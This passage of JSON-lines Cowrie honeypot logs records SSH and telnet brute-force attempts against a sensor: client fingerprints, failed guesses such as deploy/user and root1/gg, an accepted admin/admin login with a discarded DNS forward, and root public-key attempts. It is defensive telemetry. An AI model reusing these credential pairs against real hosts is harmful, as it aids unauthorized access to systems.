,"hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:37.060868Z","src_ip":"91.92.42.133","session":"47e54086e789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:37.437700Z","src_ip":"91.92.42.133","session":"47e54086e789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:38.984140Z","src_ip":"91.92.42.133","session":"47e54086e789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50548,"dst_ip":"159.203.135.109","dst_port":23,"session":"20045fe6de82","protocol":"telnet","message":"New connection: 172.81.62.90:50548 (159.203.135.109:23) [session: 20045fe6de82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:40.031650Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37200,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbc222c8cd81","protocol":"ssh","message":"New connection: 91.92.42.133:37200 (159.203.135.109:22) [session: fbc222c8cd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:43.463014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:43.735902Z","src_ip":"91.92.42.133","session":"fbc222c8cd81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:43.738744Z","src_ip":"91.92.42.133","session":"fbc222c8cd81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"user","message":"login attempt [deploy/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:44.611691Z","src_ip":"91.92.42.133","session":"fbc222c8cd81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:45.875302Z","src_ip":"91.92.42.133","session":"fbc222c8cd81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37918,"dst_ip":"159.203.135.109","dst_port":22,"session":"6580504392fd","protocol":"ssh","message":"New connection: 91.92.42.133:37918 (159.203.135.109:22) [session: 6580504392fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.246008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.302103Z","src_ip":"91.92.42.133","session":"6580504392fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32802,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f3dc1c2e34","protocol":"ssh","message":"New connection: 87.251.64.176:32802 (10.17.0.5:22) [session: c7f3dc1c2e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.305454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.307619Z","src_ip":"87.251.64.176","session":"c7f3dc1c2e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.403117Z","src_ip":"87.251.64.176","session":"c7f3dc1c2e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.411701Z","src_ip":"91.92.42.133","session":"6580504392fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.686982Z","src_ip":"87.251.64.176","session":"c7f3dc1c2e34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.782130Z","session":"c7f3dc1c2e34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:51.876475Z","src_ip":"87.251.64.176","session":"c7f3dc1c2e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:52.104132Z","src_ip":"87.251.64.176","session":"c7f3dc1c2e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:52.132013Z","src_ip":"91.92.42.133","session":"6580504392fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.223","src_port":41892,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0bf8b74aac5","protocol":"ssh","message":"New connection: 148.153.121.223:41892 (10.17.0.5:22) [session: c0bf8b74aac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.095811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.099958Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.141687Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.241750Z","src_ip":"91.92.42.133","session":"6580504392fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:ac:9d:d6:6e:58:0c:ef:b0:2b:6e:1e:e7:1d:93:e6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8MnPZ2NtK2hZpNjLfJ7E234cYCA1fu14bRYEjkwQwT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 58:ac:9d:d6:6e:58:0c:ef:b0:2b:6e:1e:e7:1d:93:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.332789Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:ac:9d:d6:6e:58:0c:ef:b0:2b:6e:1e:e7:1d:93:e6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH8MnPZ2NtK2hZpNjLfJ7E234cYCA1fu14bRYEjkwQwT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.336364Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:b4:cd:4a:03:66:3d:66:c4:69:dc:61:bf:22:95:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdHHalb1ABv3N1aVy79p/1j8KxmRq0YxCFwQzEG+8oJNWBRffajTIK0EtPaTkBs6wCbvypDcrWZJI0sHc71aR5BLZ7ckUzbTtcEIsHtTCtcVnwRnesSm6OhTmbEVXyxsvKw7WbScwNlRcm//FslrJbNu5omyR1REwxsmuRxTIrwimdJtk9mak9A41zGj9IxQ8lXAKfjmZhr42S5r8zGxX/vqDCJYnpGMWeEP4lGwRxKha2/CJ6I2X2YiDt7pNiQeDIOjyq7EYPFjYcrEeancapLyGk9jhhveiheGvdIhqtML9FRS4ajG9TxZJ5cyw6NVrnCiM8JYIBr9EVZFIQJ1u7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:b4:cd:4a:03:66:3d:66:c4:69:dc:61:bf:22:95:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.379197Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:b4:cd:4a:03:66:3d:66:c4:69:dc:61:bf:22:95:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdHHalb1ABv3N1aVy79p/1j8KxmRq0YxCFwQzEG+8oJNWBRffajTIK0EtPaTkBs6wCbvypDcrWZJI0sHc71aR5BLZ7ckUzbTtcEIsHtTCtcVnwRnesSm6OhTmbEVXyxsvKw7WbScwNlRcm//FslrJbNu5omyR1REwxsmuRxTIrwimdJtk9mak9A41zGj9IxQ8lXAKfjmZhr42S5r8zGxX/vqDCJYnpGMWeEP4lGwRxKha2/CJ6I2X2YiDt7pNiQeDIOjyq7EYPFjYcrEeancapLyGk9jhhveiheGvdIhqtML9FRS4ajG9TxZJ5cyw6NVrnCiM8JYIBr9EVZFIQJ1u7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.382202Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:43:5d:9b:3b:81:b1:f9:29:5d:7c:99:cf:5b:09:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1BAB2EEv0W14PQPuvlMqkHjLWi6jYeR9tHHdl4cbXWgOqiNUDYTcJ2XjXim/5DurkKuna9Iys2gHZ3ICaY28r4St4gqtltz8kVk91ELNGIle+IpANH4v5wwWNSQBR/3mT4lI+kYmmwTPuzlGj/OrNVbk6P37nGMR1T9Fa3zsdG/t0lEQtgPN/uXqBFv2C++Z/LvUxzpEyFIRTBVuRKSIy2EoeBajuhv7s5V+TGmlAW1OGidMOMF7rWgpJEhMJYPBEsHokQ3thBRHPZz4zL7ujRK9Pyc4YPjqVqoa278ybFZTzmzaIQmrrcN6TWq6uTy4bRkoBs+JthEKH0d2H8JcLdbwSQ8/0l9wrjxCQU0oD6ZyFxLTxY3t3FsVpfvJjlh9Azf5EQDHtMSdtxtlImejAAKAK4PB85RrLCSDdUFRt9tKRkGEn1e4UPzkv9WIg6lXJDk+wiP2dXrD6kc3vtmExMYdoqwCrKjV4N/HAWzZeyrNmcRfgyBTHWAsa0yVJnHAYBu1PZiIMWWk4ZAigphoxPNH2c8lXscamdQR8iiCrFFrjmgBtPh/f9jOs8YA38nMd3vPiQ9xEAx3Tm2kyA0k5a5LSG65aqUi6r5evcaNbpcU/ln0NZAC8o6SVauNteJtTCrJtRa3SSR2nSIz98Bl3h2GPcaH8n2yTZs2LFXYIuQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:43:5d:9b:3b:81:b1:f9:29:5d:7c:99:cf:5b:09:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.425292Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:43:5d:9b:3b:81:b1:f9:29:5d:7c:99:cf:5b:09:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1BAB2EEv0W14PQPuvlMqkHjLWi6jYeR9tHHdl4cbXWgOqiNUDYTcJ2XjXim/5DurkKuna9Iys2gHZ3ICaY28r4St4gqtltz8kVk91ELNGIle+IpANH4v5wwWNSQBR/3mT4lI+kYmmwTPuzlGj/OrNVbk6P37nGMR1T9Fa3zsdG/t0lEQtgPN/uXqBFv2C++Z/LvUxzpEyFIRTBVuRKSIy2EoeBajuhv7s5V+TGmlAW1OGidMOMF7rWgpJEhMJYPBEsHokQ3thBRHPZz4zL7ujRK9Pyc4YPjqVqoa278ybFZTzmzaIQmrrcN6TWq6uTy4bRkoBs+JthEKH0d2H8JcLdbwSQ8/0l9wrjxCQU0oD6ZyFxLTxY3t3FsVpfvJjlh9Azf5EQDHtMSdtxtlImejAAKAK4PB85RrLCSDdUFRt9tKRkGEn1e4UPzkv9WIg6lXJDk+wiP2dXrD6kc3vtmExMYdoqwCrKjV4N/HAWzZeyrNmcRfgyBTHWAsa0yVJnHAYBu1PZiIMWWk4ZAigphoxPNH2c8lXscamdQR8iiCrFFrjmgBtPh/f9jOs8YA38nMd3vPiQ9xEAx3Tm2kyA0k5a5LSG65aqUi6r5evcaNbpcU/ln0NZAC8o6SVauNteJtTCrJtRa3SSR2nSIz98Bl3h2GPcaH8n2yTZs2LFXYIuQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.428944Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:73:7a:61:44:16:6e:6d:f8:95:c0:96:28:76:db:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC6+2oemOKWVq7JIXez7twjsFvWHE689NItbNZlEEaNQfj7ITzVyVFCuuajH/xq+bbXGJfpmZ6VrYfxqxuV4pWWCa1I2o0mBGgPokSJooigW6R/HjzaIHPf6fCOZcGdOPsX/lyJaw8QhW9S61Eg1REH8Izo9uD42FxfIu3aAlH0My1hfNI1vjvPngG1/G7xhSyJD3mI2Z1VWYYkEI0MLTB7yV+50yGeDAgyFTs8qxYrDvoiqwr+8bbrrgMGs7oMjyWFIsOsHaiso3+8W4wXRnOSRbZnOrwXSRlKyAMqOZ+1G3ZeL5XCxeJKm2NKdjZc9zhH9cDKelOAMG76KftnCDG6iaciL0jqyY6VqnqxTpZh1wUN7XeuNUutGcZ+ZL1tmHKTI0339t7AHAMQ0ta1vxJuEyQf/3FC8xaiEU3ak+kMgDMEDPl4mqBZvhQ80CI1q8WH6fRZDM/5AxZgdbth3Vhrs3j371Inmwcfjh6P45UG9XfZgqLQgyR/vJerMQFrsgCr3zoT5vbqwVMlDHooVwzyUDv3obV3n6MF05DuY+ql0ObzNKLircYvE8fBqv/M9ko4JusHxddbb094gMre5ijuDlu5sbBu3/cPHtDNxd5RgQF98M1wEUQUBnAUj0nzyqk+uFtorG1Ug4ascrLLFGxJ2EivMGWMskGH0zPEa74BQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:73:7a:61:44:16:6e:6d:f8:95:c0:96:28:76:db:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.473372Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:73:7a:61:44:16:6e:6d:f8:95:c0:96:28:76:db:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC6+2oemOKWVq7JIXez7twjsFvWHE689NItbNZlEEaNQfj7ITzVyVFCuuajH/xq+bbXGJfpmZ6VrYfxqxuV4pWWCa1I2o0mBGgPokSJooigW6R/HjzaIHPf6fCOZcGdOPsX/lyJaw8QhW9S61Eg1REH8Izo9uD42FxfIu3aAlH0My1hfNI1vjvPngG1/G7xhSyJD3mI2Z1VWYYkEI0MLTB7yV+50yGeDAgyFTs8qxYrDvoiqwr+8bbrrgMGs7oMjyWFIsOsHaiso3+8W4wXRnOSRbZnOrwXSRlKyAMqOZ+1G3ZeL5XCxeJKm2NKdjZc9zhH9cDKelOAMG76KftnCDG6iaciL0jqyY6VqnqxTpZh1wUN7XeuNUutGcZ+ZL1tmHKTI0339t7AHAMQ0ta1vxJuEyQf/3FC8xaiEU3ak+kMgDMEDPl4mqBZvhQ80CI1q8WH6fRZDM/5AxZgdbth3Vhrs3j371Inmwcfjh6P45UG9XfZgqLQgyR/vJerMQFrsgCr3zoT5vbqwVMlDHooVwzyUDv3obV3n6MF05DuY+ql0ObzNKLircYvE8fBqv/M9ko4JusHxddbb094gMre5ijuDlu5sbBu3/cPHtDNxd5RgQF98M1wEUQUBnAUj0nzyqk+uFtorG1Ug4ascrLLFGxJ2EivMGWMskGH0zPEa74BQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.476737Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:4f:da:e9:88:5c:4f:c0:d9:99:2e:09:cd:15:c0:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXGJW73oyuCVeJxz7XHyZj0Hlp73F3+DFK0d/fv+0RQ6OcZ8s1E4Qsqd4eA1+FGxWJm08Ghb3I81NDSvO1eY5OlWB20CKcQZ8mF9bO7ZD8tNB9HUCtBUGq3Mcu322zkgeobGY47yH8eUYdjajePH4+2jhJKjXoYBUIBJz1nxRAaJOnHPQ7vgLql+J5nuRVWLTIS8IM/vuGU/i+eYhvO1Z3ixl/tt9OZA27csbQSdIBvGhfnZbLkKsoY1j7M5NPtp7AvzAmQEyQ+SxTjsGWaIt/BvvYcd3Wxkna2hcZNVOuGlFp+YKTgX03saxQZGz+/hX8Z/gGi7oWvSvT1JrkTSy3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:4f:da:e9:88:5c:4f:c0:d9:99:2e:09:cd:15:c0:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:55:54.521624Z","src_ip":"148.153.121.223","session":"c0bf8b74aac5","protocol":"ssh"}
